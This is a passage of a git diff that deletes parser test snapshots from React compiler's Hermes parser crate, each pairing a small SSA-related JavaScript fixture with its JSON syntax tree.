-                          "range": [
-                            120,
-                            121
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        118,
-                        123
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              128,
-                              129
-                            ]
-                          },
-                          "value": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              131,
-                              133
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            128,
-                            133
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        126,
-                        135
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      118,
-                      135
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    137
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          142,
-                          143
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          148
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        142,
-                        148
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            149,
-                            154
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            155,
-                            158
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          149,
-                          158
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      142,
-                      159
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    160
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                86,
-                164
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              70,
-              164
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                175
-              ]
-            },
-            "loc": null,
-            "range": [
-              167,
-              176
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        178
-      ],
-      "loc": null,
-      "range": [
-        0,
-        178
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    178
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-with-mutation.js.snap
deleted file mode 100644
index 7769929e4389..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-with-mutation.js.snap
+++ /dev/null
@@ -1,449 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-with-mutation.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  }
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  68
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  69,
-                  73
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                63,
-                73
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        82
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        85,
-                        87
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      81,
-                      87
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    88
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        97,
-                        99
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      99
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          106
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          111
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        105,
-                        111
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            112,
-                            117
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            118,
-                            121
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          112,
-                          121
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      105,
-                      122
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                75,
-                127
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              59,
-              127
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  130,
-                  133
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    134,
-                    135
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                130,
-                136
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              130,
-              137
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                147,
-                148
-              ]
-            },
-            "loc": null,
-            "range": [
-              140,
-              149
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          151
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        151
-      ],
-      "loc": null,
-      "range": [
-        0,
-        151
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    151
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming.js.snap
deleted file mode 100644
index 4ab9dec2cf2b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming.js.snap
+++ /dev/null
@@ -1,409 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  68
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  69,
-                  73
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                63,
-                73
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        82
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        85,
-                        87
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      81,
-                      87
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    88
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        97,
-                        99
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      99
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          106
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          111
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        105,
-                        111
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            112,
-                            117
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            118,
-                            121
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          112,
-                          121
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      105,
-                      122
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                75,
-                127
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              59,
-              127
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                137,
-                138
-              ]
-            },
-            "loc": null,
-            "range": [
-              130,
-              139
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          141
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        141
-      ],
-      "loc": null,
-      "range": [
-        0,
-        141
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    141
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-return.js.snap
deleted file mode 100644
index 215a35943508..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-return.js.snap
+++ /dev/null
@@ -1,204 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-return.js
----
-Input:
-function foo() {
-  let x = 1;
-  if (x === 1) {
-    x = 2;
-  }
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  36,
-                  37
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  42,
-                  43
-                ]
-              },
-              "loc": null,
-              "range": [
-                36,
-                43
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        52
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        55,
-                        56
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      51,
-                      56
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    57
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                45,
-                61
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              32,
-              61
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                72,
-                73
-              ]
-            },
-            "loc": null,
-            "range": [
-              65,
-              74
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          76
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        76
-      ],
-      "loc": null,
-      "range": [
-        0,
-        76
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    76
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-shadowing.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-shadowing.js.snap
deleted file mode 100644
index feb4725f05fd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-shadowing.js.snap
+++ /dev/null
@@ -1,343 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-shadowing.js
----
-Input:
-function log() {}
-
-function Foo(cond) {
-  let str = "";
-  if (cond) {
-    let str = "other test";
-    log(str);
-  } else {
-    str = "fallthrough test";
-  }
-  log(str);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "log",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          15,
-          17
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        17
-      ],
-      "loc": null,
-      "range": [
-        0,
-        17
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          28,
-          31
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "cond",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            32,
-            36
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "str",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "StringLiteral",
-                  "value": "",
-                  "loc": null,
-                  "range": [
-                    52,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  46,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              42,
-              55
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "cond",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                62,
-                66
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "str",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          81
-                        ]
-                      },
-                      "init": {
-                        "type": "StringLiteral",
-                        "value": "other test",
-                        "loc": null,
-                        "range": [
-                          84,
-                          96
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        78,
-                        96
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    74,
-                    97
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "log",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        102,
-                        105
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "str",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          109
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      102,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    111
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                68,
-                115
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "str",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        127,
-                        130
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "fallthrough test",
-                      "loc": null,
-                      "range": [
-                        133,
-                        151
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      127,
-                      151
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    152
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                121,
-                156
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              156
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "log",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  159,
-                  162
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "str",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    163,
-                    166
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                159,
-                167
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              159,
-              168
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          38,
-          170
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        19,
-        170
-      ],
-      "loc": null,
-      "range": [
-        19,
-        170
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    170
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-sibling-phis.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-sibling-phis.js.snap
deleted file mode 100644
index 885bc665d310..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-sibling-phis.js.snap
+++ /dev/null
@@ -1,455 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-sibling-phis.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = 0;
-  if (true) {
-    if (true) {
-      x = a;
-    } else {
-      x = b;
-    }
-    x;
-  } else {
-    if (true) {
-      x = c;
-    } else {
-      x = d;
-    }
-    x;
-  }
-  // note: intentionally no phi here so that there are two distinct phis above
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              39
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BooleanLiteral",
-              "value": true,
-              "loc": null,
-              "range": [
-                46,
-                50
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BooleanLiteral",
-                    "value": true,
-                    "loc": null,
-                    "range": [
-                      62,
-                      66
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              80,
-                              81
-                            ]
